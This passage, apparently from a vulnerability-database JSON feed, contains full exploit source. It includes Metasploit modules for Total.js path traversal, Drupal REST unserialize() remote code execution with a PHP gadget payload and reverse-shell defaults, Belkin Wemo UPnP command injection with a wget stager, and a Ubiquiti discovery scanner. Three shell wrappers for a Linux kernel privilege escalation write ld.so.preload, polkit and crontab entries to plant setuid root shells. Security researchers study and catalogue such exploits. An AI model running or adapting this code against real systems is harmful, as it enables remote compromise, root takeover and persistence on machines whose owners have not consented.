print_status(\"X-Powered-By: #{res.headers['X-Powered-By']}\")\n return Exploit::CheckCode::Detected\n else\n vprint_warning('No response')\n return Exploit::CheckCode::Unknown\n end\n end\n\n def read\n check_ext\n traverse = '%2e%2e%2f' * datastore['DEPTH']\n uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri\n )\n unless res\n fail_with(Failure::Unreachable, 'Connection failed')\n end\n if res.code != 200\n print_error(\"Unable to read '#{datastore['FILE']}', possibly because:\")\n print_error(\"\\t1. File does not exist.\")\n print_error(\"\\t2. No permission.\")\n return\n end\n print_status(\"Getting #{datastore['FILE']}...\")\n print_line(res.body)\n end\n\n def download\n check_ext\n traverse = '%2e%2e%2f' * datastore['DEPTH']\n uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri\n )\n unless res\n fail_with(Failure::Unreachable, 'Connection failed')\n end\n if res.code != 200\n print_error(\"Unable to read '#{datastore['FILE']}', possibly because:\")\n print_error(\"\\t1. File does not exist.\")\n print_error(\"\\t2. No permission.\")\n return\n end\n fname = datastore['FILE'].split('/')[-1].chop\n ctype = res.headers['Content-Type'].split(';')\n loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname)\n print_good(\"File #{fname} downloaded to: #{loot}\")\n end\n\n def run\n case action.name\n when 'CHECK'\n check\n when 'READ'\n read\n when 'DOWNLOAD'\n download\n end\n end\nend\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/totaljs_traversal.rb"}, {"lastseen": "2019-11-23T10:28:56", "bulletinFamily": "exploit", "description": "This module exploits a PHP unserialize() vulnerability in Drupal RESTful Web Services by sending a crafted request to the /node REST endpoint. As per SA-CORE-2019-003, the initial remediation was to disable POST, PATCH, and PUT, but Ambionics discovered that GET was also vulnerable (albeit cached). Cached nodes can be exploited only once. Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of this alternate vector. Drupal < 8.5.11 and < 8.6.10 are vulnerable.\n", "modified": "2019-04-24T16:41:30", "published": "2019-03-05T17:15:07", "id": "MSF:EXPLOIT/UNIX/WEBAPP/DRUPAL_RESTWS_UNSERIALIZE", "href": "", "type": "metasploit", "title": "Drupal RESTful Web Services unserialize() RCE", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n # NOTE: All (four) Web Services modules need to be enabled\n Rank = NormalRanking\n\n include Msf::Exploit::Remote::HTTP::Drupal\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Drupal RESTful Web Services unserialize() RCE',\n 'Description' => %q{\n This module exploits a PHP unserialize() vulnerability in Drupal RESTful\n Web Services by sending a crafted request to the /node REST endpoint.\n\n As per SA-CORE-2019-003, the initial remediation was to disable POST,\n PATCH, and PUT, but Ambionics discovered that GET was also vulnerable\n (albeit cached). Cached nodes can be exploited only once.\n\n Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of\n this alternate vector.\n\n Drupal < 8.5.11 and < 8.6.10 are vulnerable.\n },\n 'Author' => [\n 'Jasper Mattsson', # Discovery\n 'Charles Fol', # PoC\n 'Rotem Reiss', # Module\n 'wvu' # Module\n ],\n 'References' => [\n ['CVE', '2019-6340'],\n ['URL', 'https://www.drupal.org/sa-core-2019-003'],\n ['URL', 'https://www.drupal.org/psa-2019-02-22'],\n ['URL', 'https://www.ambionics.io/blog/drupal8-rce'],\n ['URL', 'https://github.com/ambionics/phpggc'],\n ['URL', 'https://twitter.com/jcran/status/1099206271901798400']\n ],\n 'DisclosureDate' => '2019-02-20',\n 'License' => MSF_LICENSE,\n 'Platform' => ['php', 'unix'],\n 'Arch' => [ARCH_PHP, ARCH_CMD],\n 'Privileged' => false,\n 'Targets' => [\n ['PHP In-Memory',\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'Type' => :php_memory,\n 'Payload' => {'BadChars' => \"'\"},\n 'DefaultOptions' => {\n 'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n }\n ],\n ['Unix In-Memory',\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_memory,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/generic',\n 'CMD' => 'id'\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'AKA' => ['SA-CORE-2019-003'],\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [IOC_IN_LOGS],\n 'Reliability' => [UNRELIABLE_SESSION] # When using the GET method\n }\n ))\n\n register_options([\n OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',\n ['GET', 'POST', 'PATCH', 'PUT']]),\n OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),\n OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])\n ])\n\n register_advanced_options([\n OptBool.new('ForceExploit', [false, 'Override check result', false])\n ])\n end\n\n def check\n checkcode = CheckCode::Unknown\n\n version = drupal_version\n\n unless version\n vprint_error('Could not determine Drupal version')\n return checkcode\n end\n\n if version.to_s !~ /^8\\b/\n vprint_error(\"Drupal #{version} is not supported\")\n return CheckCode::Safe\n end\n\n vprint_status(\"Drupal #{version} targeted at #{full_uri}\")\n checkcode = CheckCode::Detected\n\n changelog = drupal_changelog(version)\n\n unless changelog\n vprint_error('Could not determine Drupal patch level')\n return checkcode\n end\n\n case drupal_patch(changelog, 'SA-CORE-2019-003')\n when nil\n vprint_warning('CHANGELOG.txt no longer contains patch level')\n when true\n vprint_warning('Drupal appears patched in CHANGELOG.txt')\n checkcode = CheckCode::Safe\n when false\n vprint_good('Drupal appears unpatched in CHANGELOG.txt')\n checkcode = CheckCode::Appears\n end\n\n # Any further with GET and we risk caching the targeted node\n return checkcode if meth == 'GET'\n\n # NOTE: Exploiting the vuln will move us from \"Safe\" to Vulnerable\n token = Rex::Text.rand_text_alphanumeric(8..42)\n res = execute_command(\"echo #{token}\")\n\n return checkcode unless res\n\n if res.body.include?(token)\n vprint_good('Drupal is vulnerable to code execution')\n checkcode = CheckCode::Vulnerable\n end\n\n checkcode\n end\n\n def exploit\n if [CheckCode::Safe, CheckCode::Unknown].include?(check)\n if datastore['ForceExploit']\n print_warning('ForceExploit set! Exploiting anyway!')\n else\n fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')\n end\n end\n\n if datastore['PAYLOAD'] == 'cmd/unix/generic'\n print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')\n # XXX: Naughty datastore modification\n datastore['DUMP_OUTPUT'] = true\n end\n\n case target['Type']\n when :php_memory\n # XXX: This will spawn a *very* obvious process\n execute_command(\"php -r '#{payload.encoded}'\")\n when :unix_memory\n execute_command(payload.encoded)\n end\n end\n\n def execute_command(cmd, opts = {})\n vprint_status(\"Executing with system(): #{cmd}\")\n\n # https://en.wikipedia.org/wiki/Hypertext_Application_Language\n hal_json = JSON.pretty_generate(\n 'link' => [\n 'value' => 'link',\n 'options' => phpggc_payload(cmd)\n ],\n '_links' => {\n 'type' => {\n 'href' => vhost_uri\n }\n }\n )\n\n print_status(\"Sending #{meth} to #{node_uri} with link #{vhost_uri}\")\n\n res = send_request_cgi({\n 'method' => meth,\n 'uri' => node_uri,\n 'ctype' => 'application/hal+json',\n 'vars_get' => {'_format' => 'hal_json'},\n 'data' => hal_json\n }, 3.5)\n\n return unless res\n\n case res.code\n # 401 isn't actually a failure when using the POST method\n when 200, 401\n print_line(res.body) if datastore['DUMP_OUTPUT']\n if meth == 'GET'\n print_warning('If you did not get code execution, try a new node ID')\n end\n when 404\n print_error(\"#{node_uri} not found\")\n when 405\n print_error(\"#{meth} method not allowed\")\n when 422\n print_error('VHOST may need to be set')\n when 406\n print_error('Web Services may not be enabled')\n else\n print_error(\"Unexpected reply: #{res.inspect}\")\n end\n\n res\n end\n\n # phpggc Guzzle/RCE1 system id\n def phpggc_payload(cmd)\n (\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\n <<~EOF\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\n s:5:\"close\";a:2:{\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\n s:cmd_len:\"cmd\";\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\n b:0;\n }\n i:1;s:7:\"resolve\";\n }\n }\n s:9:\"_fn_close\";a:2:{\n i:0;r:4;\n i:1;s:7:\"resolve\";\n }\n }\n EOF\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\n end\n\n def meth\n datastore['METHOD'] || 'POST'\n end\n\n def node\n datastore['NODE'] || 1\n end\n\n def node_uri\n if meth == 'GET'\n normalize_uri(target_uri.path, '/node', node)\n else\n normalize_uri(target_uri.path, '/node')\n end\n end\n\n def vhost_uri\n full_uri(\n normalize_uri(target_uri.path, '/rest/type/shortcut/default'),\n vhost_uri: true\n )\n end\n\nend\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/drupal_restws_unserialize.rb"}, {"lastseen": "2019-11-25T12:48:29", "bulletinFamily": "exploit", "description": "This module exploits a command injection in the Belkin Wemo UPnP API via the SmartDevURL argument to the SetSmartDevInfo action. This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo devices are known to be affected, albeit on a different RPORT (49153).\n", "modified": "2019-04-24T16:39:34", "published": "2019-02-11T23:41:14", "id": "MSF:EXPLOIT/LINUX/UPNP/BELKIN_WEMO_UPNP_EXEC", "href": "", "type": "metasploit", "title": "Belkin Wemo UPnP Remote Code Execution", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Belkin Wemo UPnP Remote Code Execution',\n 'Description' => %q{\n This module exploits a command injection in the Belkin Wemo UPnP API via\n the SmartDevURL argument to the SetSmartDevInfo action.\n\n This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo\n devices are known to be affected, albeit on a different RPORT (49153).\n },\n 'Author' => [\n 'phikshun', # Discovery, UFuzz, and modules\n 'wvu', # Crock-Pot testing and module\n 'nstarke' # Version-checking research and implementation\n ],\n 'References' => [\n ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],\n ['URL', 'https://github.com/phikshun/ufuzz'],\n ['URL', 'https://gist.github.com/phikshun/10900566'],\n ['URL', 'https://gist.github.com/phikshun/9984624'],\n ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],\n ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],\n ['URL', 'http://www.wemo.com/']\n ],\n 'DisclosureDate' => '2014-04-04',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_MIPSLE],\n 'Privileged' => true,\n 'Targets' => [\n ['Unix In-Memory',\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_memory,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/generic'\n }\n ],\n ['Linux Dropper',\n 'Platform' => 'linux',\n 'Arch' => ARCH_MIPSLE,\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'Notes' => {\n 'NOCVE' => 'Patched in 2.00.8643 without vendor disclosure',\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n ))\n\n register_options([\n Opt::RPORT(49152)\n ])\n\n register_advanced_options([\n OptBool.new('ForceExploit', [true, 'Override check result', false]),\n OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])\n ])\n end\n\n def check\n checkcode = CheckCode::Unknown\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => '/setup.xml'\n )\n\n unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')\n vprint_error('Wemo-enabled device not detected')\n return checkcode\n end\n\n vprint_good('Wemo-enabled device detected')\n checkcode = CheckCode::Detected\n\n version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&\n v =~ /WeMo_WW_(\\d+(?:\\.\\d+)+)/ && $1 && Gem::Version.new($1)\n\n unless version\n vprint_error('Could not determine firmware version')\n return checkcode\n end\n\n vprint_status(\"Found firmware version: #{version}\")\n\n # https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/\n if version < Gem::Version.new('2.00.8643')\n vprint_good(\"Firmware version #{version} < 2.00.8643\")\n checkcode = CheckCode::Appears\n else\n vprint_error(\"Firmware version #{version} >= 2.00.8643\")\n checkcode = CheckCode::Safe\n end\n\n checkcode\n end\n\n def exploit\n checkcode = check\n\n unless checkcode == CheckCode::Appears || datastore['ForceExploit']\n fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')\n end\n\n case target['Type']\n when :unix_memory\n execute_command(payload.encoded)\n when :linux_dropper\n cmdstager = generate_cmdstager(\n flavor: 'wget',\n temp: datastore['WritableDir'],\n file: File.basename(cmdstager_path),\n noconcat: true\n )\n\n # HACK: \"chmod +x\"\n cmdstager.unshift(\"cp /bin/sh #{cmdstager_path}\")\n cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }\n cmdstager = cmdstager.join(';')\n\n vprint_status(\"Regenerated command stager: #{cmdstager}\")\n execute_command(cmdstager)\n end\n end\n\n def execute_command(cmd, opts = {})\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => '/upnp/control/basicevent1',\n 'ctype' => 'text/xml',\n 'headers' => {\n 'SOAPACTION' => '\"urn:Belkin:service:basicevent:1#SetSmartDevInfo\"'\n },\n 'data' => generate_soap_xml(cmd)\n )\n end\n\n def generate_soap_xml(cmd)\n <<~EOF\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body>\n <u:SetSmartDevInfo xmlns:u=\"urn:Belkin:service:basicevent:1\">\n <SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>\n </u:SetSmartDevInfo>\n </s:Body>\n </s:Envelope>\n EOF\n end\n\n def cmdstager_path\n @cmdstager_path ||=\n \"#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}\"\n end\n\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb"}, {"lastseen": "2019-11-29T03:17:34", "bulletinFamily": "exploit", "description": "Detects Ubiquiti devices using a UDP discovery service\n", "modified": "2019-02-01T20:49:14", "published": "2019-01-30T22:19:02", "id": "MSF:AUXILIARY/SCANNER/UBIQUITI/UBIQUITI_DISCOVER", "href": "", "type": "metasploit", "title": "Ubiquiti Discovery Scanner", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Auxiliary::Report\n include Msf::Auxiliary::UDPScanner\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Ubiquiti Discovery Scanner',\n 'Description' => 'Detects Ubiquiti devices using a UDP discovery service',\n 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'],\n ['URL', 'https://community.ubnt.com/t5/airMAX-General-Discussion/airOS-airMAX-and-management-access/td-p/2654023'],\n ['URL', 'https://blog.rapid7.com/2019/02/01/ubiquiti-discovery-service-exposures/']\n ]\n )\n )\n\n register_options([\n Opt::RPORT(10001)\n ])\n end\n\n def build_probe\n @probe = \"\\x01\\x00\\x00\\x00\"\n end\n\n def scanner_process(data, shost, sport)\n offset = 0\n if data.length < 4\n return\n end\n\n type, length = data.unpack(\"vn\")\n offset += 4\n if type != 1 || length != data.length - offset\n return\n end\n\n remaining = data.length - offset\n info = {'ips' => [], 'macs' => []}\n while remaining > 0\n type, length = data.slice(offset, 3).unpack(\"Cn\")\n offset += 3\n remaining -= 4\n\n field_data = data.slice(offset, length)\n offset += length\n remaining -= length\n if field_data.empty?\n next\n end\n # name\n case type\n when 0x0b\n info['name'] = field_data\n # MAC\n when 0x01\n info['macs'] << field_data.each_byte.map { |b| b.to_s(16) }.join(':')\n # MAC and IP\n when 0x02\n info['macs'] << field_data.slice(0,6).each_byte.map { |b| b.to_s(16) }.join(':')\n info['ips'] << field_data.slice(6,4).each_byte.map { |b| b.to_i }.join('.')\n # long model\n when 0x14\n info['model_long'] = field_data\n # short model\n when 0x0c\n info['model_short'] = field_data\n # firmware version\n when 0x03\n info['firmware'] = field_data\n # essid in some situations\n when 0x0d\n info['essid'] = field_data\n else\n vprint_warning(\"#{shost}:#{sport} skipping unhandled #{length}-byte field type '#{type}': '#{field_data.unpack(\"H*\")}'\")\n end\n end\n\n if ! info['macs'].any?\n info.delete('macs')\n end\n info['macs'] = info['macs'].sort.uniq\n\n if ! info['ips'].any?\n info.delete('ips')\n end\n info['ips'] = info['ips'].sort.uniq\n\n if info.empty?\n return\n end\n\n print_good(\"#{shost}:#{sport} Ubiquiti Discovery metadata: #{info}\")\n report_service(\n host: shost,\n proto: 'udp',\n port: rport,\n info: info,\n name: 'ubiquiti_discovery'\n )\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/ubiquiti/ubiquiti_discover.rb"}], "zdt": [{"lastseen": "2019-12-04T16:02:55", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category local exploits", "modified": "2019-07-26T00:00:00", "published": "2019-07-26T00:00:00", "id": "1337DAY-ID-33033", "href": "https://0day.today/exploit/description/33033", "title": "Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation (ldpreload)", "type": "zdt", "sourceData": "#!/bin/sh\r\n#\r\n# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47166.zip\r\n#\r\n# wrapper for Jann Horn's exploit for CVE-2018-18955\r\n# uses ld.so.preload technique\r\n# ---\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh\r\n# [*] Compiling...\r\n# [*] Adding libsubuid.so to /etc/ld.so.preload...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [+] Success:\r\n# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh\r\n# [*] Launching root shell: /tmp/sh\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955# id\r\n# uid=0(root) gid=0(root) groups=0(root),1001(test)\r\n\r\nrootshell=\"/tmp/sh\"\r\nlib=\"libsubuid.so\"\r\n\r\ncommand_exists() {\r\n command -v \"${1}\" >/dev/null 2>/dev/null\r\n}\r\n\r\nif ! command_exists gcc; then\r\n echo '[-] gcc is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newuidmap; then\r\n echo '[-] newuidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newgidmap; then\r\n echo '[-] newgidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! test -w .; then\r\n echo '[-] working directory is not writable'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Compiling...\"\r\n\r\nif ! gcc subuid_shell.c -o subuid_shell; then\r\n echo 'Compiling subuid_shell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc subshell.c -o subshell; then\r\n echo 'Compiling gcc_subshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc rootshell.c -o \"${rootshell}\"; then\r\n echo 'Compiling rootshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc libsubuid.c -fPIC -shared -o \"${lib}\"; then\r\n echo 'Compiling libsubuid.c failed'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Adding ${lib} to /etc/ld.so.preload...\"\r\n\r\necho \"cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload\" | ./subuid_shell ./subshell\r\n\r\n/usr/bin/newuidmap\r\n\r\nif ! test -u \"${rootshell}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho '[+] Success:'\r\n/bin/ls -la \"${rootshell}\"\r\n\r\necho '[*] Cleaning up...'\r\n/bin/rm subuid_shell\r\n/bin/rm subshell\r\necho \"/bin/rm /lib/${lib}\" | $rootshell\r\n\r\necho \"[*] Launching root shell: ${rootshell}\"\r\n$rootshell\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://0day.today/exploit/33033"}, {"lastseen": "2019-12-04T16:05:20", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category local exploits", "modified": "2019-07-26T00:00:00", "published": "2019-07-26T00:00:00", "id": "1337DAY-ID-33034", "href": "https://0day.today/exploit/description/33034", "title": "Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation (polkit)", "type": "zdt", "sourceData": "#!/bin/sh\r\n#\r\n# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47167.zip\r\n#\r\n# wrapper for Jann Horn's exploit for CVE-2018-18955\r\n# uses polkit technique\r\n# ---\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh\r\n# [*] Compiling...\r\n# [*] Creating /usr/share/polkit-1/actions/subuid.policy...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [*] Launching pkexec...\r\n# [+] Success:\r\n# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh\r\n# [*] Cleaning up...\r\n# [*] Launching root shell: /tmp/sh\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955# id\r\n# uid=0(root) gid=0(root) groups=0(root),1001(test)\r\n\r\nrootshell=\"/tmp/sh\"\r\npolicy=\"subuid.policy\"\r\n\r\ncommand_exists() {\r\n command -v \"${1}\" >/dev/null 2>/dev/null\r\n}\r\n\r\nif ! command_exists gcc; then\r\n echo '[-] gcc is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/pkexec; then\r\n echo '[-] pkexec is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newuidmap; then\r\n echo '[-] newuidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newgidmap; then\r\n echo '[-] newgidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! test -w .; then\r\n echo '[-] working directory is not writable'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Compiling...\"\r\n\r\nif ! gcc subuid_shell.c -o subuid_shell; then\r\n echo 'Compiling subuid_shell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc subshell.c -o subshell; then\r\n echo 'Compiling gcc_subshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc rootshell.c -o \"${rootshell}\"; then\r\n echo 'Compiling rootshell.c failed'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Creating /usr/share/polkit-1/actions/${policy}...\"\r\n\r\necho '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE policyconfig PUBLIC\r\n \"-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN\"\r\n \"http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd\">\r\n<policyconfig>\r\n <action id=\"org.freedesktop.policykit.exec\">\r\n <defaults>\r\n <allow_any>yes</allow_any>\r\n <allow_inactive>yes</allow_inactive>\r\n <allow_active>yes</allow_active>\r\n </defaults>\r\n </action>\r\n</policyconfig>' > \"${policy}\"\r\n\r\necho \"cp ${policy} /usr/share/polkit-1/actions/${policy}\" | ./subuid_shell ./subshell\r\n\r\nif ! test -r \"/usr/share/polkit-1/actions/${policy}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho \"[*] Launching pkexec...\"\r\n\r\n/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c \"/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}\"\r\n\r\nif ! test -u \"${rootshell}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho '[+] Success:'\r\n/bin/ls -la \"${rootshell}\"\r\n\r\necho '[*] Cleaning up...'\r\n/bin/rm subuid_shell\r\n/bin/rm subshell\r\n/bin/rm \"${policy}\"\r\necho \"/bin/rm /usr/share/polkit-1/actions/${policy}\" | $rootshell\r\n\r\necho \"[*] Launching root shell: ${rootshell}\"\r\n$rootshell\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://0day.today/exploit/33034"}, {"lastseen": "2019-12-04T16:02:06", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category local exploits", "modified": "2019-07-26T00:00:00", "published": "2019-07-26T00:00:00", "id": "1337DAY-ID-33028", "href": "https://0day.today/exploit/description/33028", "title": "Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation (cron Method)", "type": "zdt", "sourceData": "#!/bin/sh\r\n#\r\n# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47164.zip\r\n#\r\n# wrapper for Jann Horn's exploit for CVE-2018-18955\r\n# uses crontab technique\r\n# ---\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh\r\n# [*] Compiling...\r\n# [*] Writing payload to /tmp/payload...\r\n# [*] Adding cron job... (wait a minute)\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [+] Success:\r\n# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh\r\n# [*] Cleaning up...\r\n# [!] Remember to clean up /etc/crontab\r\n# [*] Launching root shell: /tmp/sh\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955# id\r\n# uid=0(root) gid=0(root) groups=0(root),1001(test)\r\n\r\nrootshell=\"/tmp/sh\"\r\nbootstrap=\"/tmp/payload\"\r\n\r\ncommand_exists() {\r\n command -v \"${1}\" >/dev/null 2>/dev/null\r\n}\r\n\r\nif ! command_exists gcc; then\r\n echo '[-] gcc is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newuidmap; then\r\n echo '[-] newuidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newgidmap; then\r\n echo '[-] newgidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! test -w .; then\r\n echo '[-] working directory is not writable'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Compiling...\"\r\n\r\nif ! gcc subuid_shell.c -o subuid_shell; then\r\n echo 'Compiling subuid_shell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc subshell.c -o subshell; then\r\n echo 'Compiling gcc_subshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc rootshell.c -o \"${rootshell}\"; then\r\n echo 'Compiling rootshell.c failed'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Writing payload to ${bootstrap}...\"\r\n\r\necho \"#!/bin/sh\\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}\" > $bootstrap\r\n/bin/chmod +x \"${bootstrap}\"\r\n\r\necho \"[*] Adding cron job... (wait a minute)\"\r\n\r\necho \"echo '* * * * * root ${bootstrap}' >> /etc/crontab\" | ./subuid_shell ./subshell\r\nsleep 60\r\n\r\nif ! test -u \"${rootshell}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n /bin/rm \"${bootstrap}\"\r\n exit 1\r\nfi\r\n\r\necho '[+] Success:'\r\nls -la 